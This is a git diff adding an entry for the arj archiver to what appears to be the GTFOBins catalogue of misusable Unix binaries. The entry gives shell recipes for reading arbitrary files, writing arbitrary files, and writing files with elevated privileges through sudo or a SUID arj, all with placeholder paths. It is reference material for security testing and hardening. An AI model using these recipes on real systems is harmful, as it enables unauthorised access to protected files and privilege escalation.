diff --git a/_gtfobins/arj.md b/_gtfobins/arj.md
new file mode 100644
index 0000000..df34ccb
--- /dev/null
+++ b/_gtfobins/arj.md
@@ -0,0 +1,37 @@
+---
+functions:
+  file-read:
+    - description: The file appears amid some other textual information. The archive can also be downloaded then extracted offline.
+      code: |
+        TF=$(mktemp -u)
+        LFILE=file_to_read
+        arj a "$TF" "$LFILE"
+        arj p "$TF"
+  file-write:
+    - description: The archive can also be prepared offline then uploaded.
+      code: |
+        TF=$(mktemp -d)
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >"$TF/$LFILE"
+        arj a "$TF/a" "$TF/$LFILE"
+        arj e "$TF/a" $LDIR
+  sudo:
+    - description: The archive can also be prepared offline then uploaded.
+      code: |
+        TF=$(mktemp -d)
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >"$TF/$LFILE"
+        arj a "$TF/a" "$TF/$LFILE"
+        sudo arj e "$TF/a" $LDIR
+  suid:
+    - description: The archive can also be prepared offline then uploaded.
+      code: |
+        TF=$(mktemp -d)
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >"$TF/$LFILE"
+        arj a "$TF/a" "$TF/$LFILE"
+        ./arj e "$TF/a" $LDIR
+---